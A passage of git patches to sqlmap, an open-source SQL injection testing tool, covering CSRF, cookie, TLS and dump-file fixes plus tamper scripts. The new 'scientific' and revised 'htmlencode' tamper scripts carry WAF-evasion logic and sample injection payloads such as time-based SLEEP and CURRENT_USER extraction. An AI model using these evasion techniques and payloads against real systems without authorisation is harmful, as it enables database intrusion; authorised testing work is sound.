anti-CSRF token page visit") + request.add_argument("--csrf-retries", dest="csrfRetries", type=int, help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) diff --git a/lib/request/connect.py b/lib/request/connect.py index 0b5206b63d8..8508dee51ff 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1186,7 +1186,7 @@ def _adjustParameter(paramString, parameter, newValue): warnMsg += ". sqlmap is going to retry the request" logger.warning(warnMsg) - page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.csrfData or (conf.data if conf.csrfUrl == conf.url else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) diff --git a/sqlmap.conf b/sqlmap.conf index 9504b7b4632..8af1dd903a7 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -195,6 +195,9 @@ csrfUrl = # HTTP method to use during anti-CSRF token page visit. csrfMethod = +# POST data to send during anti-CSRF token page visit. +csrfData = + # Retries for anti-CSRF token retrieval. csrfRetries = From 5c556022961d5b61fb3fe1cd4f873c4748e1a53d Mon Sep 17 00:00:00 2001 From: CrazyKidJack <43480837+CrazyKidJack@users.noreply.github.com> Date: Mon, 17 Oct 2022 04:59:17 -0500 Subject: [PATCH 014/524] Fix --cookie-del (cookieDel) error checking (#5198) error checking was checking if len(conf.cookieDel) which always returns true when option is used. Now it checks if len(conf.cookieDel) != 1 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 78b2f62b2f5..306af7422fe 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2675,7 +2675,7 @@ def _basicOptionValidation(): logger.warning(warnMsg) - if conf.cookieDel and len(conf.cookieDel): + if conf.cookieDel and len(conf.cookieDel) != 1: errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" raise SqlmapSyntaxException(errMsg) From 02dcf2a9264a4858b3eda41ff9cf65b44014e469 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 17 Oct 2022 12:21:47 +0200 Subject: [PATCH 015/524] Fixes #5203 --- lib/core/settings.py | 2 +- tamper/htmlencode.py | 8 +++++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d0221891f23..cda64003777 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.6" +VERSION = "1.6.10.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index ef66b24bbf2..b9a7725115f 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -20,6 +20,12 @@ def tamper(payload, **kwargs): >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' """ - return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload + if payload: + payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203 + payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) + + return payload From 2ace4ef471c73da1cf1a8ff97ee4f13652677b3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 21 Oct 2022 19:07:20 +0200 Subject: [PATCH 016/524] Implements tamper script 'scientific' (#5205) --- lib/core/settings.py | 2 +- tamper/scientific.py | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 1 deletion(-) create mode 100644 tamper/scientific.py diff --git a/lib/core/settings.py b/lib/core/settings.py index cda64003777..3d12140512a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.7" +VERSION = "1.6.10.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/scientific.py b/tamper/scientific.py new file mode 100644 index 00000000000..28f94a825e8 --- /dev/null +++ b/tamper/scientific.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Abuses MySQL scientific notation + + Requirement: + * MySQL + + Notes: + * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/ + + >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1') + '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1' + """ + + if payload: + payload = re.sub(r"[),.*^/|&]", r" 1.e\g<0>", payload) + payload = re.sub(r"(\w+)\(", lambda match: "%s 1.e(" % match.group(1) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload) # NOTE: MID and CAST don't work for sure + + return payload From c38232113459710d1aca0366b28b58f0ace82454 Mon Sep 17 00:00:00 2001 From: Fabian Ising Date: Fri, 21 Oct 2022 19:10:43 +0200 Subject: [PATCH 017/524] Better handling of CookieJar Runtime Exception (#5206) Fixes #5187 --- lib/request/connect.py | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 8508dee51ff..84ec25e4d38 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -587,14 +587,9 @@ class _(dict): if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) - while True: - try: - cookies = conf.cj._cookies_for_request(req) - except RuntimeError: # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5187 - time.sleep(1) - else: - requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) - break + with conf.cj._cookies_lock: + cookies = conf.cj._cookies_for_request(req) + requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: From eda669e10bfeded06e39c0ff8737b183eed37d1b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 1 Nov 2022 23:26:15 +0100 Subject: [PATCH 018/524] Fixes #5216 --- lib/core/compat.py | 3 ++- lib/core/option.py | 1 - lib/core/settings.py | 2 +- lib/request/httpshandler.py | 13 ++++++------- 4 files changed, 9 insertions(+), 10 deletions(-) diff --git a/lib/core/compat.py b/lib/core/compat.py index c1998109f31..7275ea07d46 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -278,6 +278,7 @@ def __hash__(self): buffer = buffer try: - from pkg_resources import parse_version as LooseVersion + from packaging import version + LooseVersion = version.parse except ImportError: from distutils.version import LooseVersion diff --git a/lib/core/option.py b/lib/core/option.py index 306af7422fe..4e0d151046a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2166,7 +2166,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.testType = None kb.threadContinue = True kb.threadException = False - kb.tlsSNI = {} kb.uChar = NULL kb.udfFail = False kb.unionDuplicates = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 3d12140512a..1c72b5db988 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.8" +VERSION = "1.6.11.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 998fbd2c8ed..15bb41ff430 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -63,19 +63,21 @@ def create_sock(): # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni - if re.search(r"\A[\d.]+\Z", self.host or "") is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"): + if hasattr(ssl, "SSLContext"): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): try: sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) + if self.cert_file and self.key_file: + _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") except ssl.SSLError: pass - result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host if re.search(r"\A[\d.]+\Z", self.host or "") is None else None) if result: success = True self.sock = result @@ -88,14 +90,11 @@ def create_sock(): self._tunnel_host = None logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) - if kb.tlsSNI.get(self.host) is None: - kb.tlsSNI[self.host] = success - - if not success: + elif hasattr(ssl, "wrap_socket"): for protocol in _protocols: try: sock = create_sock() - _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) + _ = ssl.wrap_socket(sock, keyfile=self.key_file, certfile=self.cert_file, ssl_version=protocol) if _: success = True self.sock = _ From 62bba470d6c4d141e1222e6255feb6fcd7e1ed0e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 2 Nov 2022 10:49:09 +0100 Subject: [PATCH 019/524] Fixes #5220 --- lib/core/settings.py | 2 +- lib/request/basic.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1c72b5db988..727ecb022b7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.2" +VERSION = "1.6.11.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 7d06009e94b..ae3bc2353cf 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -275,6 +275,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): >>> getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")) 'foo&bar' + >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) + '\\t' """ if not page or (conf.nullConnection and len(page) < 2): @@ -339,7 +341,7 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): if not kb.disableHtmlDecoding: # e.g. Ãëàâà if b"&#" in page: - page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page) + page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else b"0%s" % _.group(1)), page) page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) # e.g. %20%28%29 From 7bc0b08fd6c51f0880c3849f98c76954864beba1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Nov 2022 00:03:36 +0100 Subject: [PATCH 020/524] Implementing option '--dump-file' (#5238) --- lib/core/dump.py | 2 +- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ sqlmap.conf | 3 +++ 5 files changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index d155ebae152..30884970456 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -449,7 +449,7 @@ def dbTableValues(self, tableValues): dumpDbPath = tempDir - dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) + dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8dc37e262fa..573361b9207 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -215,6 +215,7 @@ "crawlDepth": "integer", "crawlExclude": "string", "csvDel": "string", + "dumpFile": "string", "dumpFormat": "string", "encoding": "string", "eta": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 727ecb022b7..ef159b1abc5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.3" +VERSION = "1.6.11.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 11e4cff9423..004e695fa21 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -661,6 +661,9 @@ def cmdLineParser(argv=None): general.add_argument("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") + general.add_argument("--dump-file", dest="dumpFile", + help="Store dumped data to a custom file") + general.add_argument("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") diff --git a/sqlmap.conf b/sqlmap.conf index 8af1dd903a7..ecab1a5c5ed 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -738,6 +738,9 @@ crawlExclude = # Default: , csvDel = , +# Store dumped data to a custom file. +dumpFile = + # Format of dumped data # Valid: CSV, HTML or SQLITE dumpFormat = CSV From 55b2b43f0ee02b6eb4e74de297f1f9c829454973 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Nov 2022 00:20:05 +0100 Subject: [PATCH 021/524] Fixes #5233 --- lib/core/option.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 4e0d151046a..d740e572c64 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -416,6 +416,9 @@ def retrieve(): conf.googlePage += 1 def _setStdinPipeTargets(): + if conf.url: + return + if isinstance(conf.stdinPipe, _collections.Iterable): infoMsg = "using 'STDIN' for parsing targets list" logger.info(infoMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index ef159b1abc5..53069c175c8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.4" +VERSION = "1.6.11.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b8fa0edea61cf73eeda6817c1a765afcc7c376c4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Nov 2022 00:37:48 +0100 Subject: [PATCH 022/524] Fixes #5232 --- lib/controller/checks.py | 21 ++------------------- lib/controller/controller.py | 14 ++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 17 insertions(+), 20 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f80cdfd27b1..997abb3dc3e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -10,7 +10,6 @@ import random import re import socket -import subprocess import time from extra.beep.beep import beep @@ -783,22 +782,8 @@ def genCmpPayload(): injection.conf.regexp = conf.regexp injection.conf.optimize = conf.optimize - if not kb.alerted: - if conf.beep: - beep() - - if conf.alert: - infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert - logger.info(infoMsg) - - try: - process = subprocess.Popen(conf.alert, shell=True) - process.wait() - except Exception as ex: - errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) - logger.error(errMsg) - - kb.alerted = True + if conf.beep: + beep() # There is no need to perform this test for other # tags @@ -859,10 +844,8 @@ def genCmpPayload(): if not checkFalsePositives(injection): if conf.hostname in kb.vulnHosts: kb.vulnHosts.remove(conf.hostname) - if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes: injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE) - else: injection = None diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 47e7ef865b4..929a7c982bf 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -9,6 +9,7 @@ import os import re +import subprocess import time from lib.controller.action import action @@ -598,6 +599,19 @@ def start(): kb.injections.append(injection) + if not kb.alerted: + if conf.alert: + infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert + logger.info(infoMsg) + try: + process = subprocess.Popen(conf.alert, shell=True) + process.wait() + except Exception as ex: + errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex)) + logger.error(errMsg) + + kb.alerted = True + # In case when user wants to end detection phase (Ctrl+C) if not proceed: break diff --git a/lib/core/settings.py b/lib/core/settings.py index 53069c175c8..6aaf6d599d5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.5" +VERSION = "1.6.11.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6aaf7d3960142c9ddfe54e2963ed7d9210c499f1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Nov 2022 00:28:20 +0100 Subject: [PATCH 023/524] Fixes #5240 --- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6aaf6d599d5..609b5c18ab7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.6" +VERSION = "1.6.11.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 15bb41ff430..3bac276d5d7 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -69,7 +69,7 @@ def create_sock(): sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) - if self.cert_file and self.key_file: + if getattr(self, "cert_file") and getattr(self, "key_file"): _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 @@ -94,7 +94,7 @@ def create_sock(): for protocol in _protocols: try: sock = create_sock() - _ = ssl.wrap_socket(sock, keyfile=self.key_file, certfile=self.cert_file, ssl_version=protocol) + _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) if _: success = True self.sock = _ From 58f10093a0b6ffdcfb91fe3b29a0192915de1f45 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Nov 2022 14:48:20 +0100 Subject: [PATCH 024/524] Minor update --- lib/core/settings.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 609b5c18ab7..909a7ffbbcd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.7" +VERSION = "1.6.11.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -363,6 +363,7 @@ "getCurrentUser", "getCurrentDb", "getPasswordHashes", + "getDbs", "getTables", "getColumns", "getSchema", From 3d2f89345f4ced4fc8de7fb0d3a66c97c5274831 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Nov 2022 15:05:34 +0100 Subject: [PATCH 025/524] Fixes #5242 --- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 909a7ffbbcd..a0803c089fa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.8" +VERSION = "1.6.11.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 3bac276d5d7..d862d088560 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -69,7 +69,7 @@ def create_sock(): sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) - if getattr(self, "cert_file") and getattr(self, "key_file"): + if getattr(self, "cert_file", None) and getattr(self, "key_file", None): _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 From ad529f24cb631fc42298d045dd4e63ad05e93a3e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Nov 2022 15:12:18 +0100 Subject: [PATCH 026/524] Minor update --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/techniques/union/use.py | 2 +- 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a0803c089fa..ead5d26f8be 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.9" +VERSION = "1.6.11.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 004e695fa21..9b809baa655 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -839,6 +839,9 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) + parser.add_argument("--disable-json", dest="disableJson", action="store_true", + help=SUPPRESS) + # API options parser.add_argument("--api", dest="api", action="store_true", help=SUPPRESS) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index b77cc646d01..868cae4efaf 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -252,7 +252,7 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial)): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression): kb.jsonAggMode = True From 33a6547f5b8362c7fc5c9dd6e04f1ee0aa1a73c7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 6 Dec 2022 11:55:03 +0100 Subject: [PATCH 027/524] Fixes #5252 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- lib/request/basic.py | 15 ++++++++------- 3 files changed, 10 insertions(+), 9 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index d740e572c64..29570dcdbb2 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2097,7 +2097,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None diff --git a/lib/core/settings.py b/lib/core/settings.py index ead5d26f8be..60442403b04 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.11.10" +VERSION = "1.6.12.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index ae3bc2353cf..37ae92d0c46 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -401,13 +401,14 @@ def processResponse(page, responseHeaders, code=None, status=None): if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) - identYwaf.non_blind.clear() - if identYwaf.non_blind_check(rawResponse, silent=True): - for waf in identYwaf.non_blind: - if waf not in kb.identifiedWafs: - kb.identifiedWafs.add(waf) - errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) - singleTimeLogMessage(errMsg, logging.CRITICAL) + with kb.locks.identYwaf: + identYwaf.non_blind.clear() + if 